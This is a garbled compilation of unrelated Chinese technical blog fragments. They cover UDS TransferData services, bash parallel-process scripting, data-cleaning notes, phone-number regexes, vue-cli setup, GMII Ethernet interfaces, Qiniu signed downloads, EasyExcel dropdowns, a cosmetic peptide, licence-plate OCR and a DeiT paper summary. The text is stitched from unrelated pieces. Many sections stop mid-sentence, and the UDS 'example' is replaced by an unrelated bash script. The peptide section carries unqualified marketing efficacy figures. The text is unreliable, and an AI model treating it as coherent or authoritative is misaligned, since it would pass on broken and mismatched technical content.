绿色:memorySize(0x01234567)
青色:maxNumberOfBlockLength(0x0202)
2. TransferData (0x36) service
如果34服务得到了正确响应,诊断仪就要启动数据传输过程了,使用的就是36服务。
2.1 请求格式
上图可知请求格式分为三个部分
第一部分:请求SID :0x36(1个byte)
第二部分:blockSequenceCounter(1个byte),34服务后,发送的第一个36服务时clockSequenceCounter=0x01,每次36服务请求便自增1,当增加到0xFF,此时下次请求36服务发送数据时blockSequenceCounter=0x00。
第三部分:transferRequestParameterRecord:字节长短和参数格式不定,由厂家制定。发送请求的数据。
2.2 响应格式
由上图可知响应格式分为三个部分
第一部分:response SID:0x76
第二部分:blockSequenceCounter:对请求的blockSequenceCounter的echo
第三部分:transferResponseParameterRecord,当36服务用于上传数据时,该参数必须的。36服务用于下载数据时,该参数非必须,此处不解析。
2.3 举例
需求: 例如同时执行n个多卡训练python脚本(n个程序均使用相同的卡,且显存充足的前提下),或同时开启多个CPU任务python脚本。
注意: for循环内不要使用if-continue,会导致堵塞,改用if-else;多进程启动后使用Ctrl+C终止会清理不干净,可以使用ps命令查询并kill,例如: ps -aux|grep xxx.sh 查询当前有几个子进程;ps aux|grep xxx.sh |grep -v grep|cut -c 9-15|xargs kill -15 kill所有子进程。 完整代码:
#!/usr/bin/env bash ############################# 单进程 ############################# for ((i=0; i<20;i++)) do echo $i # 执行脚本 # python .... # 执行脚本 sleep 3 # 执行脚本 done ############################# 单进程 ############################# ############################# 多进程 ############################# Npro=4 #并行n个子进程 tmp_fifo="/tmp/$$.fifo" # 脚本运行的当前进程ID号作为文件名 mkfifo $tmp_fifo # 新建一个随机fifo管道文件 exec 6<>$tmp_fifo # 将fd 6指向该文件(定义文件描述符6指向这个fifo管道文件) rm -f $tmp_fifo for((i=1; i<=$Npro; i++)); do echo done >&6 # 在fd 6指向的文件(fifo)中放置$Npro个回车符,作为令牌 ####### 替换原for循环 ####### for ((i=0; i<20;i++)) ####### 替换原for循环 ####### do read -u6 #从fd 6中读出减去一个回车符,然后向下执行 #如果fd 6中没有回车符了,进程阻塞在这儿 { ############## 替换原执行脚本 ############## echo $i # 执行脚本 # python .
数据预处理的概念
数据预处理是指在对数据进行数据挖掘的主要处理以前,先对原始数据进行必要的清理、集成、转换、离散、归约、特征选择和提取等一系列处理工作,达到挖掘算法进行知识获取研究所要求的最低规范和标准。
(选择题会出其他词汇,让你变辨别是否是数据预处理的流程)
2.1大数据的特征
(1)不完整性:数据记录属性值缺失。
(处理方法也要记住)
(2)有噪音:含噪声指的是数据具有不正确的属性值,包含错误或存在偏离期望的离群值(指与其他数值比较差异较大的值)。
异常值检查的方法有:
1.简单统计量分析
2.3σ准则
3 .箱型图分析(箱型图外部为异常)
鲁棒性(Robust)音译:
通俗理解:在机器学习,训练模型时,工程师可能会向算法内添加噪声(如对抗训练),以便测试算法的「鲁棒性」。可以将此处的鲁棒性理解述算法对数据变化的容忍度有多高。
鲁棒性并不同于稳定性,稳定性通常意味着「特性随时间不变化的能力」,鲁棒性则常被用来描述可以面对复杂适应系统的能力,需要更全面的对系统进行考虑
(3)不一致性
不正确的数据也可能是由命名约定或所用的数据代码不一致,或输入字段(如时间)的格式不一致而导致的。
2.2数据预处理任务
数据预处理是一个广泛的领域,其总体目标是为后续的数据分析工作提供可靠和高质量的数据,减少数据集规模,提高数据抽象程度和数据分析效率。在实际处理过程中,需要根据应用问题的具体情况选择合适的数据分析方法。数据预处理的任务主要包括数据清洗、数据集成、数据转换和数据脱敏等(如图所示)。
(和数据预处理的概念相区分)
我们可以从大量的数据属性中提取出一部分对目标输出有重要影响的属性,降低源数据的维数,去除噪声,为数据分析算法提供干净、准确且有针对性的数据,减少数据分析算法的数据处理量,改进数据质量,提高分析效率。
2.2.1 数据清洗的应用领域
数据清洗的主要应用领域包括数据仓库与数据挖掘、数据质量管理。
(1)数据仓库与数据挖掘。数据清洗对于数据仓库与数据挖掘应用来说,是核心和基础,它是获取可靠、有效数据的一个基本步骤。数据仓库是为了支持决策分析的数据集合,在数据仓库领域,数据清洗一般是应用在几个数据库合并时或者多个数据源进行集成时。
(2)数据质量管理。数据质量管理贯穿数据生命周期的全过程。在数据生命周期中,可以通过数据质量管理的方法和手段,在数据生成、使用、消亡的过程里,及时发现有缺陷的数据,然后借助数据管理手段,将数据正确化和规范化,从而达到符合要求的数据质量标准。总体而言,数据质量管理覆盖质量评估、数据去噪、数据监控、数据探查、数据清洗、数据诊断等方面,而在这个过程中,数据清洗是决定数据质量好坏的重要因素。
2.2.2数据清洗的实现方式
(1)手工清洗。手工清洗是通过人工方式对数据进行检查,发现数据中的错误。这种方式比较简单,只要投入足够的人力、物力、财力,也能发现所有错误,但效率低下。在大数据量的情况下,手工清洗数据几乎是不可能的。
(2)自动清洗。自动清洗是通过专门编写的计算机应用程序来进行数据清洗。这种方法能解决某个特定的问题,但不够灵活,特别是在清理过程需要反复进行时(一般来说,数据清理一遍就达到要求的很少),程序复杂,清理过程变化时工作量大。而且,这种方法也没有充分利用目前数据库提供的强大的数据处理能力 。
2.2.3数据清洗的内容
数据清洗主要是对缺失值、重复值、异常值和数据类型有误的数据进行处理,
数据清洗的内容主要包括:
(1)缺失值处理。由于调查、编码和录入误差,数据中可能存在一些缺失值,需要给予适当的处理。常用的处理方法有:估算、整例删除、变量删除和成对删除。
(2)异常值处理。根据每个变量的合理取值范围和相互关系,检查数据是否合乎要求,发现超出正常范围、逻辑上不合理或者相互矛盾的数据。
(3)数据类型转换。数据类型往往会影响到后续的数据处理分析环节,因此,需要明确每个字段的数据类型,比如,来自A表的“学号”是字符型,而来自B表的字段是日期型,在数据清洗的时候就需要对二者的数据类型进行统一处理。
(4)重复值处理。重复值的存在会影响数据分析和挖掘结果的准确性,所以,在数据分析和建模之前需要进行数据重复性检验,如果存在重复值,还需要进行重复值的删除。
2.2.4数据清洗的基本流程
数据清洗的基本流程一共分为5个步骤,分别是数据分析、定义数据清洗的策略和规则、搜寻并确定错误实例、纠正发现的错误以及干净数据回流。具体如下: (1)数据分析。 (2)定义数据清洗的策略和规则。 (3)搜寻并确定错误实例。 (4)纠正发现的错误。 (5)干净数据回流。
2.2.5数据清洗的标准
数据清洗的评价标准包括以下几个方面:
(1)数据的可信性。
(2)数据的可用性。
(3)数据清洗的代价
2.3数据集成
数据处理常常涉及数据集成操作,即将来自多个数据源的数据,结合在一起形成一个统一的数据集合,以便为数据处理工作的顺利完成提供完整的数据基础。 在数据集成过程中,需要考虑解决以下几个问题: (1)模式集成问题。 (2)冗余问题。 (3)数据值冲突检测与消除问题。
2.4数据转换
2.4.1数据转换策略
常见的数据转换策略包括: (1)平滑处理。帮助除去数据中的噪声,常用的方法包括分箱、回归和聚类等。 (2)聚集处理。对数据进行汇总操作。例如,每天的数据经过汇总操作可以获得每月或每年的总额。这一操作常用于构造数据立方体或对数据进行多粒度的分析。 (3)数据泛化处理。用更抽象(更高层次)的概念来取代低层次的数据对象。例如,街道属性可以泛化到更高层次的概念,如城市、国家,再比如年龄属性可以映射到更高层次的概念,如青年、中年和老年。 (4)规范化处理。将属性值按比例缩放,使之落入一个特定的区间,比如0.0~1.0。常用的数据规范化方法包括Min-Max规范化、Z-Score规范化和小数定标规范化等。 (5)属性构造处理。根据已有属性集构造新的属性,后续数据处理直接使用新增的属性。例如,根据已知的质量和体积属性,计算出新的属性——密度。
2.4.2平滑处理
噪声是指被测变量的一个随机错误和变化。平滑处理旨在帮助去掉数据中的噪声,常用的方法包括分箱、回归和聚类等
1.分箱
分箱(Bin)方法通过利用被平滑数据点的周围点(近邻),对一组排序数据进行平滑,排序后的数据被分配到若干箱子(称为 Bin)中。 如图5所示,对箱子的划分方法一般有两种,一种是等高方法,即每个箱子中元素的个数相等,另一种是等宽方法,即每个箱子的取值间距(左右边界之差)相同。
分析 目前常见的电话号码有:手机号码,座机号码,400开头的电话
手机号码 手机号码为11位,第一位一定是1,后面跟着10位号码;
例如:188xxxx6542,157xxxx5231等等。
座机号码 座机号码是由两部分组成:区号+座机号;
区号有3-4位数;
座机号有7-8位数;
例如:010-87655210,028-83387337,0371-6515835
400 400电话为10位号码组成;
例如:400-700-5606
匹配的字符串 content = """ <form id="loginform" οnsubmit="return QMLogin.checkInput();" method="post" name="loginform"target="_self" autocomplete="on" ><div class="login_submit" style=""><input class="login_button" id="btlogin" name="btlogin" type="submit" value="登录" tabindex="5" /></div></form> <a href="114.aspx?w=小米">小米</a><span> | </span> <a href="114.aspx?w=010-87655210">010-87655210</a><span> | </span> <a href="114.aspx?w=快递">快递</a><span> | </span> <a href="114.aspx?w=18210443800">18210443800</a><span> | </span> <a href="114.aspx?w=深圳">深圳</a><span> | </span> <a href="tel:400-606-0201" class="text-link-tertiary hover:text-link-tertiary-hover hover:underline active:text-link-tertia """ 正则表达式 手机号码 正则匹配前后限制非数字,防止随意匹配一长段数字中的部分号码
re_phone = '[^0-9](1[3-9][0-9]{9})[^0-9]' phone_number_lt = list(set(re.findall(re_phone, content))) phone_number_lt = [e for e in phone_number_lt if e !
文章目录 前言一、使用vue-cli3创建项目1.检查当前vue的版本2.下载并安装Vue-cli33.使用命令行创建项目 二、关于配置 前言 本文讲解了如何使用vue-cli3创建属于自己的Vue项目,如果本文对你有所帮助请三连支持博主,你的支持是我更新的动力。
下面案例可供参考
一、使用vue-cli3创建项目 1.检查当前vue的版本 使用npm命令检查当前安装的Vue-cli版本 :vue -V
注意:上面检查Vue-cli版本的命令中,V一定要大写
我这里是因为电脑同时存在vue2 与 vue3 所以命令会有所不同,详情可以看我上一篇vue2与vue3共存的文章。
使用命令后会显示出你的vue版本号,如果是vue2版本,那么你需要升级到vue3.
需要先卸载掉旧版本,然后在安装新版本。卸载旧版本命令:
npm uninstall vue-cli -g
2.下载并安装Vue-cli3 使用下面的命令进行安装:npm install @vue/cli -g 安装完后可以使用 vue -V 检查一下版本
因为我本机已经安装了vue-cli3,这里就不在演示了,安装时间稍微长一些,请耐心等待
3.使用命令行创建项目 下面先使用命令行工具创建一个Vue项目:
首先执行创建命令:vue create vue3demo vue3demo是你的项目名称 可自定义不要使用中文
输入命令以后直接回车,然后会让你选择是使用默认(default)还是手动(Manually)
注意:如果是在Windows平台上面使用命令行创建项目,Git Bash有一个坑:就是使用键盘上面的方向 键选择默认模式还是手动模式的时候不起作用,如果是使用默认默认,则用Git Bash或者CMD、Power Shell都一样。如果要选择手动模式,则要使用CMD或者Power Shell。
按键盘的上下键就可以选择默认还是手动设置。如果选择default,一直回车下去就可以了。这里选择手动(Manually)。
然后会出现选择配置界面:
使用键盘的上下方向键可以上下选择切换,空格键是选中或者取消,a是全选
各选项简介:
1. TypeScript:支持使用TypeScript进行编码。 2. Progressive Web App (PWA) Support:PWA支持。 3. Router:支持vue-router。 4. Vuex:支持Vuex状态管理。 5. CSS Pre-processors:支持CSS预处理器。 6. Linter / Formatter:支持代码风格检查和格式化。 7.
今天和海翎光电的小编一起分析MII/RMII/SMII,以及GMII/RGMII/SGMII接口的信号定义,及相关知识,同时小编也对RJ-45接口进行了总结,分析了在10/100模式下和1000M模式下的连接方法。
GMII 接口分析
GMII接口提供了8位数据通道,125MHz的时钟速率,从而1000Mbps的数据传输速率。下图定义了RS层的输入输出信号以及STA的信号:
图1 Reconciliation Sublayer (RS) and STA connections to GMII
下面将详细介绍GMII接口的信号定义,时序特性等。由于GMII接口有MAC和PHY模式,因此,将会根据这两种不同的模式进行分析,同时还会对RGMII/TBI/RTBI接口进行介绍。
GMII接口信号定义
GMII接口可分为MAC模式和PHY模式,一般说来MAC和PHY对接,但是MAC和MAC也是可以对接的。
在GMII接口中,它是用8根数据线来传送数据的,这样在传送1000M数据时,时钟就会125MHz。
GMII接口主要包括四个部分。一是从MAC层到物理层的发送数据接口,二是从物理层到MAC层的接收数据接口,三是从物理层到MAC层的状态指示信号,四是MAC层和物理层之间传送控制和状态信息的MDIO接口。
GMII接口的MAC模式定义: 注意在表1中,信号GTX_CLK对于MAC来说,此时是Output信号,这一点和MII接口中的TX_CLK的Input特性不一致。
GMII接口PHY模式定义:
注意在表2中,信号GTX_CLK对于PHY来说,此时是Input信号,这一点和MII接口中的TX_CLK的Output特性不一致。
GMII接口时序特性
在GMII接口中,TX通道参考时钟是GTX_CLK,RX通道参考时钟是RX_CLK,802.3-2005定义了它们之间的关系。
图2 GMII signal timing at receiver input
由图2可知,Spec只定义了TX通道和RX通道中接收端Setup时间和Hold时间。很明显,即该Spec只对TX通道上PHY这一侧的接收特性作了定义,而对TX通道MAC那一侧的发送特性并没有定义。IC Vendor可在TX通道那一侧的MAC的发送特性作适当调整,只要最终的时序满足TX通道上PHY这一侧的接收特性就可以。
同样的道理,该Spec只对RX通道上MAC这一侧的接收特性作了定义,而对RX通道PHY那一侧的发送特性并没有定义。IC Vendor可在RX通道那一侧的PHY的发送特性作适当调整,只要最终的时序满足RX通道上MAC这一侧的接收特性就可以。
图3Setup和Hold Time的值
从图20可以看出,这里有两组setup和hold时间。其中第一组Spec则是根据图21给定的测试电路定义的,即该Spec未考虑PCB上传输线的不匹配等影响。而第二组Spec则是定义了receiver at its input pins的时间要求,它考虑了PCB上传输线的长度不匹配等影响。一般IC Vendor需要按照第二组Spec来设计它们的IC。
图4 GMII接口Setup和Hold Time测试电路
GMII信号功能特性:
<1>:GTX_CLK (transmit clock),GTX_CLK (Transmit Clock)是一个连续的时钟信号(即系统启动,该信号就一直存在),它是TX_EN, TXD, and TX_ER(信号方向为从RS到PHY)的参考时钟,PHY端在信号的上升沿采样,GTX_CLK由MAC驱动。GTX_CLK的时钟频率是数据传输速率的12.5,即125MHz。
<2>:对于同样的RX_CLK,它与TX_CLK具有相同的要求,所不同的是它是RX_DV, RXD, and RX_ER(信号方向是从PHY到RS)的参考时钟,MAC端在时钟的上升沿采样。RX_CLK是由PHY驱动,PHY可能从接收到的数据中提取时钟RX_CLK,也有可能从一个名义上的参考时钟(e.g., the TX_CLK reference)来驱动RX_CLK
<3>:GMII接口的发送时序如图22所示,接收时序如图23所示,至于其它信号的功能特性以及在数据传输过程中,不同信号的逻辑变化所代表的意义,这里不再描述,大体上和“MII信号功能特性”一节中描述类似,读者可以参阅802.3-3005的Spec。
图5 GMII信号发送时序
图6 GMII信号接收时序
GMII的管理MDIO接口:
关于GMII的管理MDIO接口,这里也不再描述,它在硬件设计上同MII的管理MDIO接口一节的描述。
壹心冲锋号.ttf壹心格调黑.ttf壹心爆裂体.ttf壹心饼干体.ttf壹心巅峰黑.ttf壹心果敢黑.ttf壹心爆米花.ttf壹心蛋黄酥.ttf壹心墩墩体.ttf壹心欢乐颂.ttf壹心波普黑.ttf壹心逗趣体.ttf壹心二次元体.ttf壹心机械体.ttf壹心波纹黑.ttf壹心飞舞体.ttf壹心仿古美术体.ttf壹心极限体.ttf壹心畅游体.ttf壹心风潮宋.ttf壹心嘉年华.TTF壹心快乐体.ttf壹心潮玩宋.ttf壹心风驰体.ttf壹心剪纸手账.ttf壹心梦想体.ttf壹心稻草人.ttf壹心锋芒体.ttf壹心卡哇伊.ttf壹心摩卡黑.TTF壹心点点体.TTF壹心高兴体.ttf壹心丽圆体.ttf壹心抹茶体.ttf壹心粉笔头.ttf壹心黑糖体.ttf壹心凌霄体.ttf壹心木头人.ttf壹心立黑.ttf壹心铠甲黑.ttf壹心年糕体.ttf壹心暖暖体.ttf壹心烈风体.TTF壹心酷盖黑.ttf壹心奇妙体.ttf壹心泡泡龙.TTF壹心绫致黑.ttf壹心露营体.ttf壹心奇缘黑.TTF壹心晴黑体.ttf壹心流云体.ttf壹心马戏团体.TTF壹心少儿体.ttf壹心时光体.ttf壹心皮卡皮卡.TTF壹心萌芽体.ttf壹心夏日体.ttf壹心武士黑.ttf壹心清脆体.ttf壹心魔法体.ttf壹心小机灵.ttf壹心摇滚青年.ttf壹心热血体.ttf壹心诺言体.ttf壹心小手工.ttf壹心悦游体.ttf壹心深海体.ttf壹心趣玩体.ttf壹心印象体.ttf壹心战甲黑.ttf壹心童年体.ttf壹心趣圆体.ttf壹心宇宙黑.ttf壹心折纸体.ttf壹心童趣黑.ttf壹心闪闪体.ttf壹心圆印体.ttf壹心正气黑.ttf壹心燕尾蝶.ttf壹心薯片体.ttf壹心跳跳体.ttf壹心虚竹体.ttf壹心迅捷体.ttf壹心遇见体.ttf壹心蒸汽时代体.ttf壹心追风体.ttf
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录 前言思路使用步骤代码如下(示例): 总结 前言 针对七牛目前的私有空间、原图保护,如果希望 下载该类型或者开启原图保护下的空间下的文件资源,则需要进行签名后才能进行访问下载。
思路 创建自定义域名并绑定到一个空间上,即可通过该域名访问该空间下的文件资源;即:获取该文件资源的url,获取该url后,需要使用七牛提供的auth对象,获取下载的url——downloadUrl
通过http请求,根据downloadUrl 发送get请求进行下载。
注:测试也可以用七牛提供的测试域名,但不建议使用到实际项目中。
提示:以下是本篇文章正文内容,下面案例可供参考
使用步骤 代码如下(示例): /** targetUrl: 格式:http://<domain>/<key> 其中<domain>是 bucket 所对应的域名。七牛会给每个 bucket 分配一个测试域名,但由于 测试 域名的访问限制,生产环境需要 绑定自定义域名 访问。 <key>可理解为文件名,但可包含文件分隔 符等其它字符。 注意: key必须采用utf8编码,如使用非utf8编码访问七牛云将反馈错误 */ public String getDownloadUrl(String targetUrl) { //根据密钥配置,获取Auth对象 Auth auth = Auth.create(AccountMgr.ACCESS_KEY, AccountMgr.SECRET_KEY); //获取下载文件路径,即:donwloadUrl String downloadUrl = auth.privateDownloadUrl(targetUrl); return downloadUrl; } 总结 当您将空间设置成私有时,必须获得授权,才能对空间内的资源进行访问。
私有资源下载是通过HTTP GET的方式访问特定的 URL。私有资源URL与公开资源URL相比只是增加了两个参数e和token,分别表示过期时间和下载凭证。一个完整的私有资源 URL 如下所示:
http://<domain>/<key>?e=<deadline>&token=<downloadToken> 参数e表示 URL 的过期时间,采用Unix时间戳,单位为秒。超时的访问将返回 401 错误。参数token表示下载凭证。下载凭证是对资源访问的授权,不带下载凭证或下载凭证不合法都会导致 401 错误,表示验证失败。
注意:
如果请求方的时钟未校准,可能会造成有效期验证不正常,例如直接认为已过期。因此需要进行时钟校准。由于开发者无法保证客户端的时间都校准,所以应该在业务服务器上创建时间戳,并周期性校准业务服务器时钟。token 必须放在请求的最后,token 之后的参数会被忽略。以请求
https://github.com/alibaba/canal/wiki/Zookeeper-QuickStart
首先安装maven 此处就不说了git clone https://github.com/DeemOpen/zkui.gitcd zkui/mvn clean installnohup java -jar target/zkui-2.0-SNAPSHOT-jar-with-dependencies.jar &http://ip:9090/
Kibana–基础–2.1–使用–加载自定义索引 1、介绍 加载已经一个已存在的es索引 2、步骤 2.1、进入索引管理界面 [外链图片转
2.2、创建 一个新的索引模式 2.3、查看 索引模式
对于开发人员在启动项目的过程中也许会遇到程序使用 端口被占用的情况;如下:
遇到这种情况我们可以换一个端口,也可以查找是哪个程序暂用了这个端口;在Windows上我们可以通过如下方式去查找对应的端口程序信息。
1、打开dos命令窗口
开始—->运行—->cmd,或者是window+R组合键,调出命令窗口
2、查看端口使用情况
查看被占用端口对应的PID,输入命令:netstat -aon|findstr “8801”,回车,记下最后一位数字,即PID,这里是26864
3、明确占用程序
继续输入tasklist|findstr “1484”,回车,查看是哪个进程或者程序占用了8016端口,结果是:javaw.exe
4、杀掉进程
结束该进程:在任务管理器中选中该进程点击”结束进程“按钮,
或者是在cmd的命令窗口中输入:taskkill /f /t /im java.exe;
当然也可以通过查出的进程ID,直接杀掉该进程 taskkill /f /pid 26864。
项目场景: EasyExcel官网文档地址:
https://easyexcel.opensource.alibaba.com/docs/current/
项目场景:实际开发中,需要用到很多下拉框去供使用者选择特定得值,但是easyExcel官方文档中提供得示例很简单,只有1个列有下拉框。在此分享一下多列下拉框得心得体会。
代码 直接上代码,许多地方 我都会有注释
import com.alibaba.excel.write.handler.SheetWriteHandler; import com.alibaba.excel.write.metadata.holder.WriteSheetHolder; import com.alibaba.excel.write.metadata.holder.WriteWorkbookHolder; import lombok.extern.slf4j.Slf4j; import org.apache.poi.ss.usermodel.*; import org.apache.poi.ss.util.CellRangeAddressList; import org.apache.poi.xssf.usermodel.XSSFDataValidation; import java.util.*; @Slf4j public class SheetUtil implements SheetWriteHandler { /** * 设置下拉框的起始行,默认为第二行,可通过后续传参改变 */ private final static int firstRow = 1; /** * 设置下拉框得结束行行,默认为最后一行 */ private final static int lastRow = 0x10000; /** * Integer 是需要设置下拉框得列 * List<String> 是该列下拉框得值 */ private LinkedHashMap<Integer, List<String>> fieldValues; /** * 完成赋值,上面得起始列,结束列也可以如此实现 */ public SheetUtil(LinkedHashMap<Integer, List<String>> fieldValues) { this.
类蛇毒肽是一种模拟蛇毒毒素活性的小肽, 而不是蛇毒, 是一种类似蛇毒毒素结构的活性肽。类蛇毒肽在减少动态纹的功效方面是类肉毒杆菌的5倍,人体测试发现在使用28天后能有效果减少52%的皱纹。蛇毒肽是通过抑制肌肉收缩而减少皱纹的产生,与乙酰基六肽-8相比,效果更明显。蛇毒肽具具有优秀的光滑和迅速祛皱性能。
在化妆品配方中加入如乳液,凝胶等,从而达到祛除深的皱纹或在额头或眼睛周围皱纹的理想效果。
功效与应用----类蛇毒肽
抗皱抗衰老
改善皮肤质量
脸部、颈部和手护理品
可添加到美容护肤品中,如乳液、面膜、早晚霜、眼部精华液等
减少由面部表情肌收缩造成的皱纹的深度,特别是在前额和眼睛周围。 一个安全、廉价、温和的肉毒杆菌毒素替代品,以涂抹的方式局部针对皱纹形成机制进行作用。 在化妆品配方中加入到乳液、凝胶等,从而达到祛除深皱纹或额头、眼睛周围皱纹的理想效果
作用机理----类蛇毒肽
类蛇毒肽通过松弛面部肌肉而作为有效的平滑和祛皱活性产品, 该活性肽作用方式与 Temple Viper 毒蛇毒液的神经肌肉阻断化合物Waglerin 1 一致。类蛇毒肽作用于突触后膜, 是肌肉烟碱乙酰胆碱受体(nmAChR)可逆转的拮抗剂。类蛇毒肽结合 nmAChR 的ε亚单位从而阻滞乙酰胆碱与受体的结合, 最终导致受体封闭, 在封闭状态下钠离子不能摄入,无法去极化,神经兴奋传递阻断,肌肉因此松弛,从而有效去除各种表情纹。
实验数据和研究报告
已经在动物模型中局部应用的不同制剂中测试了三肽-3,浓度范围为1%至4%。 在应用该制剂后不久,该结果被声称为平滑模拟皱纹和表达线的外观。 研究结果表明,当使用4%的局部溶液时,三肽-3可以在28天后减少皱纹的出现达到52%。 一项为期三个月的研究(37名女性志愿者)的结果表明,三肽-3制剂治疗可以提供细皱纹和粗皱纹的即刻和长期改善。
编号: 128881
中文名称: 类蛇毒肽/蛇毒肽/ 三肽-3
中文同义词: 二肽二氨基丁酰苄基酰胺二乙酸盐
英文名: SYN-AKE/Dipeptide Diaminobutyroyl Benzylamide Diac
英文同义词: H-β-Ala-Pro-Dab-NHBzl.2AcOH
CAS号: 823202-99-9
单字母: H2N-βA-P-Dab-NHBzl
三字母: H2N-βAla-Pro-Dab-NHBzl
氨基酸个数: 3
分子式: C19H29N5O3
平均分子量: 375.47
精确分子量: 375.23
等电点(PI): -
pH=7.0时的净电荷数: 0.97
平均亲水性: -
疏水性值: -1.6
来源: 人工化学合成,仅限科学研究使用,不得用于人体。
基于OpenCV 的车牌识别 车牌识别是一种图像处理技术,用于识别不同车辆。这项技术被广泛用于各种安全检测中。现在让我一起基于 OpenCV 编写 Python 代码来完成这一任务。
车牌识别的相关步骤
1. 车牌检测:第一步是从汽车上检测车牌所在位置。我们将使用 OpenCV 中矩形的轮廓检测来寻找车牌。如果我们知道车牌的确切尺寸,颜色和大致位置,则可以提高准确性。通常,也会将根据摄像机的位置和该特定国家 / 地区所使用的车牌类型来训练检测算法。但是图像可能并没有汽车的存在,在这种情况下我们将先进行汽车的,然后是车牌。
2. 字符分割:检测到车牌后,我们必须将其裁剪并保存为新图像。同样,这可以使用 OpenCV 来完成。
3. 字符识别:现在,我们在上一步中获得的新图像肯定可以写上一些字符(数字 / 字母)。因此,我们可以对其执行 OCR(光学字符识别)以检测数字。
1. 车牌检测
让我们以汽车的样本图像为例,首先检测该汽车上的车牌。然后,我们还将使用相同的图像进行字符分割和字符识别。如果您想直接进入代码而无需解释,则可以向下滚动至此页面的底部,提供完整的代码,或访问以下链接。https://github.com/GeekyPRAVEE/OpenCV-Projects/blob/master/LicensePlateRecoginition.ipynb
在次使用的测试图像如下所示。
图片来源链接:https : //rb.gy/lxmiuv
第 1 步: 将图像调整为所需大小,然后将其灰度。相同的代码如下
img = cv2.resize(img, (620,480) ) 调整大小后,可以避免使用较大分辨率的图像而出现的以下问题,但是我们要确保在调整大小后,车号牌仍保留在框架中。在处理图像时如果不再需要处理颜色细节,那么灰度变化就必不可少,这加快了其他后续处理的速度。完成此步骤后,图像将像这样被转换
步骤 2:每张图片都会包含有用和无用的信息,在这种情况下,对于我们来说,只有牌照是有用的信息,其余的对于我们的程序几乎是无用的。这种无用的信息称为噪声。通常,使用双边滤波(模糊)会从图像中删除不需要的细节。
gray = cv2.bilateralFilter(gray, 13, 15, 15) 语法为 destination_image = cv2.bilateralFilter(source_image, diameter of pixel, sigmaColor, sigmaSpace)。我们也可以将 sigma 颜色和 sigma 空间从 15 增加到更高的值,以模糊掉更多的背景信息,但请注意不要使有用的部分模糊。输出图像如下所示可以看到该图像中的背景细节(树木和建筑物)模糊了。这样,我们可以避免程序处理这些区域。
步骤 3:下一步是我们执行边缘检测的有趣步骤。有很多方法可以做到,最简单和流行的方法是使用 OpenCV 中的 canny edge 方法。执行相同操作的行如下所示
Training data-efficient image transformers & distillation through attention 论文:2012.12877.pdf (arxiv.org)
代码:facebookresearch/deit: Official DeiT repository (github.com)
期刊/会议:ICML 2021
摘要 最近,基于注意力的神经网络被证明可以解决图像理解任务,如图像分类。这些高性能的vision transformer使用大量的计算资源来预训练了数亿张图像,从而限制了它们的应用。(简单来说就是需要大量的算力资源)
在这项工作中,我们只通过在ImageNet上训练产生具有竞争力的无卷积的transformer模型。我们只用了不到三天的时间在一台电脑上训练他们。在没有外部数据的情况下,我们的vision transformer(86M参数)在ImageNet上达到了83.1%(单一模型)的top-1精度。
更重要的是,我们引入了一种针对transformer的师生策略(teacher-student strategy)。它依赖于一个蒸馏令牌(distillation token),确保学生通过注意力从老师那里学习。我们展示了这种基于token的蒸馏的兴趣,特别是在使用卷积网络作为教师时。这使得我们在ImageNet(我们获得高达85.2%的准确率)和转移到其他任务时报告的结果与卷积网络具有竞争力。
1、简介 卷积神经网络一直是图像理解任务的主要设计范式,最初在图像分类任务中演示过。它们成功的一个因素是一个大型训练集的可用性,即ImageNet。由于自然语言处理中基于注意力的模型的成功,人们对利用卷积神经网络中的注意力机制的架构越来越感兴趣。最近,一些研究人员提出了混合架构,将transformer成分移植到卷积网络来解决视觉任务。
Dosovitskiy等人引入的Vision transformer(ViT)是直接继承自自然语言处理的架构,但应用在图像分类中是以图像patch作为输入。他们的论文展示了出色结果,在用大型私有标记图像数据集(JFT-300M, 3亿张图像)训练transformer。这篇论文的结论是,transformer“在数据量不足的情况下训练时不能很好地泛化”,而且这些模型的训练需要涉及大量的计算资源。
在本文中,我们在一个8-GPU节点上用两到三天的时间训练了一个vision transformer(53小时的预训练,可选的20小时的微调),这与具有类似参数数量和效率的卷积神经网络模型具有竞争力。它使用ImageNet作为唯一的训练集。我们建立在Dosovitskiy等人的visual transformer架构上,并在timm库中进行了改进。使用我们的数据高效图像transformer(DeiT),我们报告了比以前的结果有很大的改进,参见图1。我们的消融实验详细描述了成功训练的超参数和关键成分,例如重复增强(repeated augmentation)。
我们解决了另一个问题:如何蒸馏这些模型?我们介绍了一种基于token的策略,具体到transformer,用 DeiT⚗ \text{DeiT⚗} DeiT⚗表示,并表明它有利地取代了通常的蒸馏。
总之,我们的工作做出了以下贡献:
我们表明,我们的神经网络不包含卷积层,可以在没有外部数据的情况下,与ImageNet上的最先进技术相比,获得具有竞争力的结果。它们是在3天内在4个gpu的单个机器上学习的。我们的两个新模型DeiT-S和DeiT-Ti的参数更少,可以看作是ResNet-50和ResNet-18的对应模型。我们引入了一种基于蒸馏token的新的蒸馏方式,它与class token的作用相同,除了它的目的是重现老师估计的标签。这两个token在transformer中通过注意力机制相互作用。这种transformer特定的策略显著优于vanilla distillation。有趣的是,通过我们的蒸馏,图像transformer从卷积网络中学到的比从另一个具有相同性能的transformer学到的更多。我们在ImageNet上预学习的模型在转移到不同的下游任务时具有竞争力,如细粒度分类,在几个流行的公共基准上:CIFAR-10, CIFAR-100,Oxford-102 flowers,Stanford Cars和iNaturalist-18/19。 本文的组织结构如下:第2节回顾相关工作,第3节重点介绍用于图像分类的transformer。我们将在第4节介绍transformer的蒸馏策略。实验第5节提供了对卷积神经网络和最近的transformer的分析和比较,以及对我们的transformer特定蒸馏的比较评估。第6节详细介绍了我们的训练方法。它包括对我们的数据高效训练选择的广泛消融实验,这对DeiT所涉及的关键成分提供了一些见解。我们在第7节中得出结论。
2、相关工作 图像分类是计算机视觉的核心,经常被用作衡量图像理解进展的基准。任何进展通常都会转化为其他相关任务的改进,如检测或分割。自2012年AlexNet以来,卷积神经网络一直主导着这一基准,并已成为事实上的标准。ImageNet数据集的最新发展反映了卷积神经网络架构和学习的进展。
尽管有几次尝试使用transformer进行图像分类,但到目前为止,它们的性能一直不如卷积神经网络。然而,结合卷积神经网络和transformer的混合架构,包括自注意机制,最近在图像分类、检测、视频处理、无监督对象发现和统一文本视觉任务方面展示了具有竞争力的结果。
